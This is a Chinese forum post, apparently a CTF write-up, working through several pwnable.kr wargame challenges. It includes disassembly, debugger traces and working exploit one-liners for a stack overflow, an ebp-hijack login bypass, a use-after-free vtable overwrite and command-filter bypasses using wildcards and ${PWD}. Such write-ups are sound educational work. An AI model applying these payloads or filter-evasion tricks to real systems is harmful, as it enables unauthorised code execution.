首页
社区
课程
招聘
[原创] pwnable.kr 刷题日记 2 - someof
2017-12-16 23:07 12160

[原创] pwnable.kr 刷题日记 2 - someof

aqs 活跃值
5
2017-12-16 23:07
12160

记录前面一些比较简单的题目

toddler - collision

description

Daddy told me about cool MD5 hash collision today.
I wanna do something like that too!

ssh col@pwnable.kr -p2222 (pw:guest)

运行效果

❯ ./col 1111111111111111
passcode length should be 20 bytes

[root@pwn] ~/1-curr-contest/pwnable-kr/toddler/collision  
❯ ./col 11111111111111111111
wrong passcode.

输入一个控制台参数,长度为 20
ida 打开看看,

loc_8048553:
                mov     eax, [esp+1Ch]
                add     eax, 4
                mov     eax, [eax]
                mov     [esp], eax   # argv[1]
                call    check_password
                mov     edx, hashcode
                cmp     eax, edx
                jnz     short loc_8048581

                mov     dword ptr [esp], offset command ; "/bin/cat flag"
                call    _system
                mov     eax, 0
                jmp     short loc_8048592
.data:0804A020 hashcode        dd 21DD09ECh

一个check_password 函数对 argv[1] 进行操作,返回值和 0x21DD09EC比较
相同直接cat flag

 

checkpassword 主要如下

loc_80484C2 开始进行5次循环
每次循环取 argv[1][index<<2] 进行相加
那么就是将输入的 argv[1] 分成五份,相加结果 == hashcode 即可
exp

python -c 'from pwn import *;print p32(0x6c5cec8+4)+p32(0x6c5cec8)*4' | xargs ./col

toddler

description

Nana told me that buffer overflow is one of the most common software vulnerability. 
Is that true?

Download : http://pwnable.kr/bin/bof
Download : http://pwnable.kr/bin/bof.c

Running at : nc pwnable.kr 9000

运行效果

❯ checksec bof 
[*] '/home/aqs/1-curr-contest/pwnable-kr/toddler/bof/bof'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
❯ ./bof
overflow me : 
aa
Nah..

32 位的程序,relro partial 其他全开
ida 打开如下

xt:0000062C ; __unwind {
.text:0000062C                 push    ebp
.text:0000062D                 mov     ebp, esp
.text:0000062F                 sub     esp, 48h
.text:00000632                 mov     eax, large gs:14h
.text:00000638                 mov     [ebp+var_C], eax
.text:0000063B                 xor     eax, eax
.text:0000063D                 mov     dword ptr [esp], offset s ; "overflow me : "
.text:00000644                 call    puts  # puts("overflow me : ")
.text:00000649                 lea     eax, [ebp+s]
.text:0000064C                 mov     [esp], eax      ; s
.text:0000064F                 call    gets # call gets, 这里有溢出
.text:00000654                 cmp     [ebp+arg_0], 0CAFEBABEh  # if arg ==0x0CAFEBABE  give you a shell
.text:0000065B                 jnz     short loc_66B
.text:0000065D                 mov     dword ptr [esp], offset command ; "/bin/sh"
.text:00000664                 call    system
.text:00000669                 jmp     short loc_677
.text:0000066B ; ---------------------------------------------------------------------------
.text:0000066B
.text:0000066B loc_66B:                                ; CODE XREF: func+2F↑j
.text:0000066B                 mov     dword ptr [esp], offset aNah ; "Nah.."
.text:00000672                 call    puts
.text:00000677
.text:00000677 loc_677:                                ; CODE XREF: func+3D↑j
.text:00000677                 mov     eax, [ebp+var_C]
.text:0000067A                 xor     eax, large gs:14h
.text:00000681                 jz      short locret_688
.text:00000683                 call    __stack_chk_fail
.text:00000688 ; ---------------------------------------------------------------------------
.text:00000688
.text:00000688 locret_688:                             ; CODE XREF: func+55↑j
.text:00000688                 leave
.text:00000689                 retn
.text:00000689 ; } // starts at 62C

基本思路是:
程序直接使用gets, 可以无限输入,所以有溢出
后面判断 函数的第一个参数是否是0xCAFEBABE,是的话直接给shell,好吧
那将 第一个参数覆盖成 0xCAFEBABE 即可
exp

(python -c 'from pwn import *;print "a"*0x34+p32(0xcafebabe)';cat -) |nc pwnable.kr 9000

roddler - flag

description

Papa brought me a packed present! let's open it.

Download : http://pwnable.kr/bin/flag

This is reversing task. all you need is binary

可以看到有 upx 的壳

❯ xxd flag |grep -i upx
000000b0: fcac e0a1 5550 5821 1c08 0d16 0000 0000  ....UPX!........
0004a670: 2077 6974 6820 7468 6520 5550 5820 6578   with the UPX ex
0004a690: 6874 7470 3a2f 2f75 7078 2e73 662e 6e65  http://upx.sf.ne
0004a6a0: 7420 240a 0024 4964 3a20 5550 5820 332e  t $..$Id: UPX 3.
00051d80: 9041 9f00 a092 24ff 0000 0000 5550 5821  .A....$.....UPX!
00051d90: 0000 0000 5550 5821 0d16 0807 19cc 204a  ....UPX!...... J

upx 脱一下壳

 

strings 直接出来,,

❯ strings test |grep ":)"
-+-+-+-+-++++++++++++++++++++++ :)

toddler - random

descript

Daddy, teach me how to use random value in programming!

ssh random@pwnable.kr -p2222 (pw:guest)
int __cdecl main(int argc, const char **argv, const char **envp)
{
  int v4; // [rsp+8h] [rbp-8h]
  int v5; // [rsp+Ch] [rbp-4h]

  v5 = rand();
  v4 = 0;
  __isoc99_scanf(&unk_400760, &v4);
  if ( (v5 ^ v4) == 0xDEADBEEF )
  {
    puts("Good!");
    system("/bin/cat flag");
  }
  else
  {
    puts("Wrong, maybe you should try 2^32 cases.");
  }
  return 0;
}

rand() 伪随机,直接gdb 调试找到这个数字 异或一下0xDEADBEEF即可

Rossis - simple login

description

Can you get authentication from this server?

Download : http://pwnable.kr/bin/login

Running at : nc pwnable.kr 9003
❯ file login 
login: ELF 32-bit LSB executable, Intel 80386, version 1 (GNU/Linux), statically linked, for GNU/Linux 2.6.24, BuildID[sha1]=e09ec7145440153c4b3dedc3c7a8e328d9be6b55, not stripped

❯ checksec login 
login/login'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)

32 位的程序,没有开pie,

❯ ./login 
Authenticate : 111
hash : cbf71f5375836206e1a96dda5fbe1dfa

输入一段数据之后程序会给出一个hash 字符

看看代码

int __cdecl main(int argc, const char **argv, const char **envp)
{
  int v4; // [esp+18h] [ebp-28h]
  char input_str; // [esp+1Eh] [ebp-22h]
  unsigned int decode_len; // [esp+3Ch] [ebp-4h]

  memset(&input_str, 0, 0x1Eu);
  setvbuf(stdout, 0, 2, 0);
  setvbuf(stdin, 0, 1, 0);
  printf("Authenticate : ");
  _isoc99_scanf("%30s", &input_str);
  memset(&input, 0, 0xCu);
  v4 = 0;
  decode_len = Base64Decode((int)&input_str, &v4);
  if ( decode_len > 0xC )
  {
    puts("Wrong Length");
  }
  else
  {
    memcpy(&input, v4, decode_len);
    if ( auth(decode_len) == 1 )
      correct();
  }
  return 0;
}
void __noreturn correct()
{
  if ( input == 0xDEADBEEF )
  {
    puts("Congratulation! you are good!");
    system("/bin/sh");
  }
  exit(0);
}

可以看到逻辑很简单
输入最长为30长度的字符-> 将字符base64decode-> decode之后长度不能超过0xc-> 进行一个auth 判断,过了直接给shell,简单粗暴

 

那么主要就看 auth 搞什么了

_BOOL4 __cdecl auth(int a1)
{
  char v2; // [esp+14h] [ebp-14h]
  char *s2; // [esp+1Ch] [ebp-Ch]
  int v4; // [esp+20h] [ebp-8h]

  memcpy(&v4, &input, a1);
  s2 = (char *)calc_md5((int)&v2, 12);
  printf("hash : %s\n", s2);
  return strcmp("f87cd601aa7fedca99018a8be88eda34", s2) == 0;
}

将 base64decode 之后的字符放到 v4, 计算一下md5,输出来,如果是
f87cd601aa7fedca99018a8be88eda34 的话就给一个shell.
f87cd601aa7fedca99018a8be88eda34 破解不了,但是这里因为 v4 长度只有 0x8,而input 有 0xc 长度,memcpy 的时候有溢出
嘛,这样就好办了,有溢出就可以搞事情,但是这里只能覆盖4个字节
也就是到ebp 的位置

... ↓
08:0020│ eax  0xffffd4b0 ◂— 0x61616161 ('aaaa')
09:0024│      0xffffd4b4 ◂— 0x62626262 ('bbbb')
0a:0028│ ebp  0xffffd4b8 ◂— 0x63636363 ('cccc')

所以要做的就是
劫持 ebp --> 劫持 esp --> 然后 rop getshell了
因为input在bss段上,存放最后deecode之后的内容,所以直接劫持 ebp到 input 位置即可

.bss:0811EB40 input           db    ? ;               ; DATA XREF: correct+6↑o
.bss:0811EB40                                         ; auth+D↑o ...
.bss:0811EB41                 db    ? ;
.bss:0811EB42                 db    ? ;
.bss:0811EB43                 db    ? ;
*EBP  0x811eb40 (input) ◂— 0x61616161 ('aaaa')
*ESP  0xffffd4bc —▸ 0x8049407 (main+250) ◂— cmp    eax, 1
*EIP  0x804930c (auth+112) ◂— ret    
[─────────────────────────────────────────────────────────────────────DISASM─────────────────────────────────────────────────────────────────────]
   0x806eb79 <__strcmp_sse4_2+441>    ret    
    ↓
   0x80492fb <auth+95>                test   eax, eax
   0x80492fd <auth+97>                jne    auth+106                      <0x8049306>
    ↓
   0x8049306 <auth+106>               mov    eax, 0
   0x804930b <auth+111>               leave  
 ► 0x804930c <auth+112>               ret

auth 函数 leave ret 之后 ebp 就变成了 input 的地址

*ESP  0x811eb44 (input+4) —▸ 0x8049284 (correct+37) ◂— mov    dword ptr [esp], 0x80da66f
*EIP  0x8049425 (main+280) ◂— ret    
[─────────────────────────────────────────────────────────────────────DISASM─────────────────────────────────────────────────────────────────────]
   0x804930c <auth+112>      ret    
    ↓
   0x8049407 <main+250>      cmp    eax, 1
   0x804940a <main+253>      jne    main+274                      <0x804941f>
    ↓
   0x804941f <main+274>      mov    eax, 0
   0x8049424 <main+279>      leave  
 ► 0x8049425 <main+280>      ret                                  <0x8049284; correct+37>
    ↓

main 函数 leave 之后 esp 变成了 input+4 的位置, 填入 system 地址即可

 

exp

❯ python -c 'import struct;print  ("aaaa"+struct.pack("<I",0x08049284)+struct.pack("<I",0x0811EB40)).encode("base64")'
YWFhYYSSBAhA6xEI

toddler - cmd1

cmd的部分有点是linux的使用的熟练度的问题了,嘛,记录一下

description

Mommy! what is PATH environment in Linux?

ssh cmd1@pwnable.kr -p2222 (pw:guest)

程序如下

int __cdecl main(int argc, const char **argv, const char **envp)
{
  putenv("PATH=/fuckyouverymuch");
  if ( !(unsigned int)filter(argv[1]) )
    system(argv[1]);
  return 0;
}

__int64 __fastcall filter(const char *a1)
{
  _BOOL4 v1; // ST1C_4
  int v2; // ST1C_4

  v1 = strstr(a1, "flag") != 0LL;
  v2 = (strstr(a1, "sh") != 0LL) + v1;
  return (unsigned int)(strstr(a1, "tmp") != 0LL) + v2;
}

嘛,设置了 path, 然后直接调用 system(argv[1]),对于 argv[1] 的输入有一个fillter, 就是怎么绕过拿flag的了

 

这里很简单,不能有 flag sh tmp 等,一个通配符过之

cmd1@ubuntu:~$ ./cmd1 '/bin/cat ./f*'          
mommy —+_+_+_+_+_+_____++++++++++++++++++ :)

toddler - cmd2

description

Daddy bought me a system command shell.
but he put some filters to prevent me from playing with it without his permission...
but I wanna play anytime I want!

ssh cmd2@pwnable.kr -p2222 (pw:flag of cmd1)

cmd2 和cmd1 类似,不过加强了一下 fillter

int __cdecl main(int argc, const char **argv, const char **envp)
{
  delete_env();
  putenv("PATH=/no_command_execution_until_you_become_a_hacker");
  if ( !(unsigned int)filter(argv[1]) )
  {
    puts(argv[1]);
    system(argv[1]);
  }
  return 0;
}
__int64 __fastcall filter(const char *a1)
{
  _BOOL4 v1; // ST1C_4
  int v2; // ST1C_4
  int v3; // ST1C_4
  int v4; // ST1C_4
  int v5; // ST1C_4

  v1 = strchr(a1, '=') != 0LL;
  v2 = (strstr(a1, "PATH") != 0LL) + v1;
  v3 = (strstr(a1, "export") != 0LL) + v2;
  v4 = (strchr(a1, '/') != 0LL) + v3;
  v5 = (strchr(a1, '`') != 0LL) + v4;
  return (unsigned int)(strstr(a1, "flag") != 0LL) + v5;
}

flag 直接用通配符读即可,但是就是 路径的 / 不好搞
这里可以使用 ${PWD} 来代替, 进入 / 目录, 这样 ${PWD} 就是 /
然后直接cat flag 即可

cmd2@ubuntu:/$ home/cmd2/cmd2 '${PWD}bin${PWD}cat ${PWD}home${PWD}cmd2${PWD}f*' 
${PWD}bin${PWD}cat ${PWD}home${PWD}cmd2${PWD}f*
FuN++++++++++++++++++++++

toddler - uaf

description

Mommy, what is Use After Free bug?

ssh uaf@pwnable.kr -p2222 (pw:guest)
❯ file uaf
uaf: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.24, BuildID[sha1]=d53a1af6662f8b353529d5ee7afc6bf40fea6630, not stripped

uaf 64 位的程序,有三个选项

❯ ./uaf                                                                                                                                         ⏎
1. use
2. after
3. free

只能输入 1,2,3 不能怎么搞的样子,还一言不合就 segment fault
ida 打开看看代码
主要逻辑如下

int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
  Human *v3; // rbx
  __int64 v4; // rdx
  Human *v5; // rbx
  int v6; // eax
  __int64 v7; // rax
  Human *v8; // rbx
  Human *v9; // rbx
  const char **v10; // [rsp+0h] [rbp-60h]
  char v11; // [rsp+10h] [rbp-50h]
  char v12; // [rsp+20h] [rbp-40h]
  Human *man; // [rsp+28h] [rbp-38h]
  Human *woman; // [rsp+30h] [rbp-30h]
  size_t nbytes; // [rsp+38h] [rbp-28h]
  void *buf; // [rsp+40h] [rbp-20h]
  int v17; // [rsp+48h] [rbp-18h]
  char v18; // [rsp+4Eh] [rbp-12h]
  char v19; // [rsp+4Fh] [rbp-11h]

  v10 = argv;
  std::allocator<char>::allocator(&v18, argv, envp);
  std::string::string(&v11, "Jack", &v18);
  v3 = (Human *)operator new(0x18uLL);
  Man::Man(v3, (__int64)&v11, 25);              // new Man()
  man = v3;
  std::string::~string((std::string *)&v11);
  std::allocator<char>::~allocator(&v18);
  std::allocator<char>::allocator(&v19, &v11, v4);
  std::string::string(&v12, "Jill", &v19);
  v5 = (Human *)operator new(0x18uLL);
  Woman::Woman(v5, (__int64)&v12, 21);          // new Woman()
  woman = v5;
  std::string::~string((std::string *)&v12);
  std::allocator<char>::~allocator(&v19);
  while ( 1 )
  {
    while ( 1 )
    {
      while ( 1 )
      {
        std::operator<<<std::char_traits<char>>(&std::cout, "1. use\n2. after\n3. free\n");
        std::istream::operator>>(&std::cin, &v17);
        if ( v17 != 2 )
          break;                                // open(argv[2]);and then read argv[1] bytes
                                                // 
        nbytes = atoi(v10[1]);                  // argv[1]
        buf = (void *)operator new[](nbytes);
        v6 = open(v10[2], 0, v10);              // argv[2]
        read(v6, buf, nbytes);
        v7 = std::operator<<<std::char_traits<char>>(&std::cout, "your data is allocated");
        std::ostream::operator<<(v7, &std::endl<char,std::char_traits<char>>);
      }
      if ( v17 == 3 )
        break;
      if ( v17 == 1 )
      {
        (*(void (__fastcall **)(Human *, int *))(*(_QWORD *)man + 8LL))(man, &v17);
        (*(void (__fastcall **)(Human *))(*(_QWORD *)woman + 8LL))(woman);
      }
    }
    v8 = man;                                   // delete(man) the delete(woman)
    if ( man )
    {
      Human::~Human(man);
      operator delete((void *)v8);
    }
    v9 = woman;
    if ( woman )
    {
      Human::~Human(woman);
      operator delete((void *)v9);
    }
  }
}

这里使用的是 c++ 的类,一开始先创建 man 和woman两个对象
1 use 这里有三个类,Man,Woman 继承 Human,Human 实现了 introduce 和 getshell 两个函数,Man Woman 重写了 introduce函数,这样运行时候就因多态而进行对应函数的调用
2 after 需要传入两个控制台参数,类似 ./uaf 24 ./file
打开 argv[2], 读取 argv[1] 个byte到一个 chunk 里面

 

3 free 首先delete human 然后delete woman

 

嘛,大概就是这样,因为题目是 uaf,所以应该是利用 uaf 来搞事情
uaf 主要就是 有指针分配内存之后没有置 0, 这样就还可以访问原来的那个指针对应的 chunk区域
I can use it although after I free it 的意思大概

 

先调试看看

pwndbg> x/10gx 0x614c90
0x614c90:       0x0000000000000000      0x0000000000000021
0x614ca0:       0x0000000000401550      0x0000000000000015
0x614cb0:       0x0000000000614c88      0x0000000000000411
0x614cc0:       0x0a65657266202e33      0x000000000000000a
0x614cd0:       0x0000000000000000      0x0000000000000000
pwndbg> x/10gx 0x0000000000401550
0x401550 <_ZTV5Woman+16>:       0x000000000040117a      0x0000000000401376
0x401560 <_ZTV3Man>:    0x0000000000000000      0x00000000004015d0
0x401570 <_ZTV3Man+16>: 0x000000000040117a      0x00000000004012d2
0x401580 <_ZTV5Human>:  0x0000000000000000      0x00000000004015f0
0x401590 <_ZTV5Human+16>:       0x000000000040117a      0x0000000000401192

上面是 woman 的堆的对应的区域
其中 0x614ca0 保存了其对应的函数调用地址

pwndbg> x/10i 0x000000000040117a
   0x40117a <_ZN5Human10give_shellEv>:  push   rbp
   0x40117b <_ZN5Human10give_shellEv+1>:        mov    rbp,rsp
   0x40117e <_ZN5Human10give_shellEv+4>:        sub    rsp,0x10
   0x401182 <_ZN5Human10give_shellEv+8>:        mov    QWORD PTR [rbp-0x8],rdi
   0x401186 <_ZN5Human10give_shellEv+12>:       mov    edi,0x4014a8
   0x40118b <_ZN5Human10give_shellEv+17>:       call   0x400cc0 <system@plt>
   0x401190 <_ZN5Human10give_shellEv+22>:       leave  
   0x401191 <_ZN5Human10give_shellEv+23>:       ret    
   0x401192 <_ZN5Human9introduceEv>:    push   rbp
   0x401193 <_ZN5Human9introduceEv+1>:  mov    rbp,rsp
pwndbg> x/10i 0x0000000000401376
   0x401376 <_ZN5Woman9introduceEv>:    push   rbp
   0x401377 <_ZN5Woman9introduceEv+1>:  mov    rbp,rsp
   0x40137a <_ZN5Woman9introduceEv+4>:  sub    rsp,0x10
   0x40137e <_ZN5Woman9introduceEv+8>:  mov    QWORD PTR [rbp-0x8],rdi
   0x401382 <_ZN5Woman9introduceEv+12>: mov    rax,QWORD PTR [rbp-0x8]
   0x401386 <_ZN5Woman9introduceEv+16>: mov    rdi,rax

Man 的组织形式也是类似,既然有指针,那就可以搞事情是吧,我把0x614ca0
保存的地址改一下,让 Man 或者Woman 调用 introduce 的时候去调用getshell 函数,然后use 一下就可以 getshell了

 

okay, 可以写的就只有 after 这个选项,具体的利用思路就是

 

1 free 一下,这样就有两个 0x18 大小的chunk,这时候对象的指针没有清空,仍可以访问,但是 函数指针变了,所以调用 use的时候会segment fault

 

2 after 一下,需要先控制台传入 ./uaf 24 /tmp/somefile,0x18-24,这样就可以将 after
的chunk分配到刚才 Woman 或Man 的位置,因为是Man 先delete的,根据fastbin 的规则
after 会先分配在 Woman原来的位置,这样我们想 /tmp/semefile 里写入什么就可以怎么改chunk,将指针 改为原先的位置-0x8 即可

 

3 因为 use 是先调用 Man,所以真正需要写的是 Man 原先的chunk, after 两次即可

 

具体操作如下

python -c 'from pwn import *;print p64(0x401570-0x8)' > aaaa
❯ ./uaf 24 /tmp/aaaa         
1. use
2. after
3. free
3
1. use
2. after
3. free
2
your data is allocated
1. use
2. after
3. free
2
your data is allocated
1. use
2. after
3. free
1
# exit

[培训]二进制漏洞攻防(第3期);满10人开班;模糊测试与工具使用二次开发;网络协议漏洞挖掘;Linux内核漏洞挖掘与利用;AOSP漏洞挖掘与利用;代码审计。

收藏
点赞1
打赏
分享
最新回复 (3)
雪    币: 60
活跃值: (881)
能力值: ( LV4,RANK:50 )
在线值:
发帖
回帖
粉丝
wonderzdh 1 2017-12-18 10:13
2
0
分析很到位
雪    币: 6818
活跃值: (153)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
聖blue 2017-12-19 23:13
3
0
不错!
雪    币: 16
活跃值: (10)
能力值: ( LV4,RANK:40 )
在线值:
发帖
回帖
粉丝
YNKP 2019-4-18 09:53
4
0
大佬,rootkit的那道题目你做了吗?我打开了flag文件,但是为什么是乱码呢?能交流吗?
游客
登录 | 注册 方可回帖
返回